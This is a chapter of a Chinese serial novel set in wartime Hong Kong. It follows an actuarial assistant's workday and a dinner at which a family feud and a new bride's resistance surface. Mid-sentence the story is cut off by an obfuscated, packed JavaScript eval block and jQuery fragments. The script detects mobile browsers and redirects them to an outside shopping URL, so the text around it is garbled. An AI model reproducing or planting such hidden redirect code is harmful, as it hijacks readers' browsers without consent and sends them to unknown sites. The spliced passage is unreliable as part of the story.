54.佩珀

作品:《听经[民国]

    清晨六点钟,闹钟响了。


    金雪池在被窝里挣扎片刻,爬起来,关了闹钟。她和薛莲山睡主卧,房子租下来的时候没有家具,他们直接就买了两张单人床。


    过去他要上班,她总以为他是很严于律己的人,没事也要起个早床。现在她必须七点半到岗,薛莲山要跑的地方不到八点不开门,她起了,他翻个身继续睡。


    金雪池在褥子上找头绳,一边乱摸,就一边盯着他的后脑勺看,没打发胶,毛蓬蓬乱糟糟的。摸到了头绳,她坐到梳妆台前梳头、编辫子,仍看着镜子里的他,这就变了一个角度,能看到他的半边侧脸和耳朵。他习惯侧睡,而且习惯把脸在枕头里埋得很深。


    一通梳洗下来,她就不困了。


    小桂起得更早,给她下好了面、热好的牛奶,大声道:“太太,早上好!”


    “早上好。”金雪池看着桌上一大碗面,很有些为难,“小桂,我刚起床不想吃。”


    小桂知道她刚起没胃口,让她能吃多少吃多少,又往她的帆布包里装了一个洗好的苹果。


    佩珀公司位于中环的皇后大道上,有电车直达,无需家里的汽车送。她喜欢坐第二层,鸟瞰香港岛的清晨,彼时海面上浮光跃金,初升的太阳照的她要微微眯起眼。港口停着几艘英国军舰,黑压压的,静止如冰山;在它们上方,成群结队的海鸥轻捷掠过。


    到了佩珀大厦门口,她先去铁皮箱里取文件。固定的一封是汇丰每日发来的英镑兑港元汇率电报,往往还有其他文件,譬如伦敦总部发来的修正案、驻上海通讯员发来的数据、客户信件等等。


    她是助理,得比其他职员都到得早。拆完信,调黄铜计算尺,整理前一日计算底稿的时候,同事陆陆续续到了。


    她的上司是个名叫布朗的洋人,干瘦、严肃、没有嘴唇。同事倒是有白有黄有白黄混血,她工位对面的是一个小胖子,香港人,叫项康年,特别爱啃指甲。她在这里抄表,就听见咯吱咯吱的声音不绝于耳,过一会儿,一弯指甲碎片就飞过来了。


    金雪池感到一阵恶寒,用废稿纸把指甲拨开。


    再过一会儿,小胖子剥了自己带来的橘子,颇为热情的掰下一瓣分享给她。她语无伦次地“不”了一串,小胖子就不高兴了,认为她没礼貌。


    她是寿险业务组的,人之生死,由一串公式做了预判。


    基于1920年代英国本土人口统计,35 岁白人男性的基础预期寿命为 56.3 岁,华人的基础预期寿命则只有白人的80%。战时还有各种修正项,根据疾病情况、逃难区域列出统计表,再做加减乘除。譬如深水埗、九龙冬季在流行疾病,需纳入月度风险计算,住山顶别墅的客户就不必扣掉几年寿命。


    现在战事瞬息万变,四面八方的数据飞过来,统计表时时要更新。金雪池并不爱工作,但她一旦觉得什么有意思,那就会视其为一种游戏。她也不打算盘,就一份电报一份电报的看,感觉自己像是人在帐中、运筹帷幄的将军。


    可惜她只是个助理,主要协助小胖子进行工作。小胖子让她干的事不多,主要是收发信件、做计算、打字、翻译,无聊得很。于是金雪池开始磨洋工,她既不想翻译,也不想摸小胖子摸过的纸。


    元旦之后,袁孝慈约薛莲山见面。


    薛莲山不跟她单独见面,带上了金雪池。到了约定地点一看,她也带上了她弟弟。袁孝勋一跨进门槛,就用高而尖的声音叫道:“你还说雪铁龙,我们的车跟在你们后面到的,你开的奥斯汀,这更是狗都不开。怎么回事,落魄啦?逃难到这里——”


    说时迟那时快,袁孝慈一个大嘴巴就抽了上去,抽得袁孝勋如陀螺般转出去了半米。薛莲山立刻大笑起来,袁孝勋恶狠狠地扭头道:“你笑什——”


    袁孝慈第二个巴掌又把他抽出半米,抽出去,又揪着领子拉回来,她指着他的鼻子说:“如果你这么上不得台面,就不要上台面了。”


    看起来姐弟俩平常的相处模式就是这样的,袁孝勋挨了姐姐的打,嘴唇蠕蠕半天,硬是一个字都没敢发声出来。薛莲山还想引诱他挨第三巴掌,道:“我有风光的时候,才能有落魄。袁公子将来倘若没钱,就不能叫落魄,只能说是被家里赶出来了。”


    袁孝勋忍着没说话。袁孝慈一笑,切入正题:“有个人叫乔裕民,他开了一家私人船舶公司,比外国公司靠谱些。我已经跟乔裕民打过招呼了,礼拜天晚七点你去□□和他吃顿饭,报我的名字,我订了一个包间。”


    “其实你直接把他的地址告诉我就好了,这样麻烦你。”


    她带着一抹淡淡的笑望着他,“他和他太太是这一带的地头蛇,派头大得很。让你去别人的办公室求人吗?”


    突然“吱”的一声,是金雪池把她的橘子水喝干了,叼着吸管对着空腔吸出了声音。她自己也是吓一跳,讪讪地松了口;袁孝慈也立刻举起杯子喝茶。薛莲山笑道:“谢谢。”


    然后就没什么正事可聊了,聊不正的事也不合适,饭菜陆陆续续上来了,他们只好说起从上海一路逃难到香港的情形、将来的计划。金雪池绞尽脑汁地想跟袁孝慈搭上几句话,表明自己没有别的意思,正好说到袁家新娶了媳妇,她就问:“新媳妇怎么样?”


    这算是问对了,袁孝慈立刻说:“幼兰很合我的心意。”


    当天袁孝勋没有去接陈太太一家,陈家人也没说什么,横竖家里没男人了,没底气跟他计较。袁孝勋算盘打得好,认为新媳妇是好欺负的,宴过客后直接溜走,去了戏院。


    此人并非是去包戏子的,由于他自己男不男女不女,对于女色并无太大的兴趣,却是个资深票友,喜欢自己也扮上戏服学两嗓子。因此结交了许多不入流的朋友,总在一起通宵玩乐。第二天清晨回到袁公馆,吓得直跌坐在地上:陈幼兰正披着个红盖头站在铁栅门后,背后是百年老宅和将亮未亮青灰的天。


    她声音细细地说:“孝勋,你还没有给我揭盖头。”


    袁孝勋大骂一声,把她的盖头掀了,眯眼一瞧,“你长得真一般。”


    陈幼兰看了他一眼,平平静静地说:“你也不是什么大丈夫。”


    因为一夜未睡,他直进了房间就要睡觉,结果床上全铺得花椒壳子、碎花生,勾勾挂挂在绣了花的床单上,抹也抹不下来,抖也抖不掉。他叫自己房的佣人,佣


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236223|192557||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人却被唤去厨房烧水了。他只能对陈幼兰道:“把褥子给我换了!”


    陈幼兰说:“现在不是睡觉的时候,我们去见太太老爷吧。”


    给父母请了安,又去餐厅吃了早餐,他决定出门找个堂子睡觉去,搂着美女睡觉岂不比睡在这个陈幼兰铺了花椒的床上好?回房一看,车钥匙失去了踪迹。


    他和薛莲山一样,能不用汽车夫就不用,专爱自己开,所以没有配备专门的汽车夫。袁公馆倒是有好几个汽车夫,然而各房之间关系紧张,他只和袁孝慈是一母所生,现在袁孝慈嫁出去了,家里的兄弟个个与他不睦,他们的佣人、汽车夫,他都不能使唤。


    袁孝勋是真的烦了,一转头,陈幼兰正跟在他身后,左一个陪嫁侍女、右一个陪嫁侍女,穿衣的风格之老旧、颜色之俗艳,简直像前清女鬼。她就带着那种谦恭、平和、死心塌地的神色,静静看着他。


    她的祖父是个小军阀,鼎盛时期手下有两万兵马,后来打了败仗,被撸成了光杆司令,没再起来;她父亲负过伤,也不便外出,在家一味地吃老本。总而言之,陈家式微了,已经不能给袁家带来什么价值。这陈幼兰,只是因为性情柔顺、年轻健康,娶来延嗣的。


    但她是他父亲派来的,他就不敢动她。


    这样一个妻子,袁孝勋挑不出好,也挑不出错,处处被掣肘,想挣也挣不开。袁孝慈听闻此事,很是惊讶,亲自去拜访了陈幼兰一趟,大概是暗中进行了一些授意,从此陈幼兰绵里藏针的本事更上一层楼。


    “我是不指望他有出息了。”袁孝慈道,“只要不丢人就是好的。有幼兰在,我很可以省些心。”


    袁孝勋当众被姐姐这么说,也是一言不发,趴在桌上就没个正形。


    回去的路上,奥斯汀居然开着开着熄火了,香港街道狭窄,人还多。薛莲山迅速踩离合把档杆挂进和车速匹配的档位,然后松离合,利用车速把发动机重新带起来。


    他开着开着都笑了:“真是狗都不开!”


    金雪池道:“不然送去修修吧。”


    “修车,我也算半个行家了,这种突然熄火是检查不出问题的。”


    “星期天你带我去吗?”


    “想去就去。不过没什么好玩的,只是谈事情,吃几道粤菜——我一直吃不惯。”


    金雪池沉默了片刻,“我不是去好玩。”


    薛莲山伸右手摸了摸她的手背,“想起来了,你要帮我一起还债的。但是人就该为了好玩而出去吃饭,我自己也希望好玩,实在是不得已。就算袁小姐好心替我挪了个场合,我去也是求爷爷告奶奶的,你没必要见证这一切。”


    “两个人比一个人有底气些。”


    “我宁愿一个人。”薛莲山笑眯眯道,“虽然我老爱跟人交际,但是你不知道,我面子很薄。”


    我知道。金雪池默默地想,我们是一样的人,只是你在各方面都比我完善、成熟得多。


    周天她还是跟着去了,因为需要详细听听商谈内容。乔裕民果然摆了好大一个谱,临时又改地点,一个电话打到□□的前台,让服务生通知薛莲山去附近的一个小酒厅,他刚在那里见完朋友。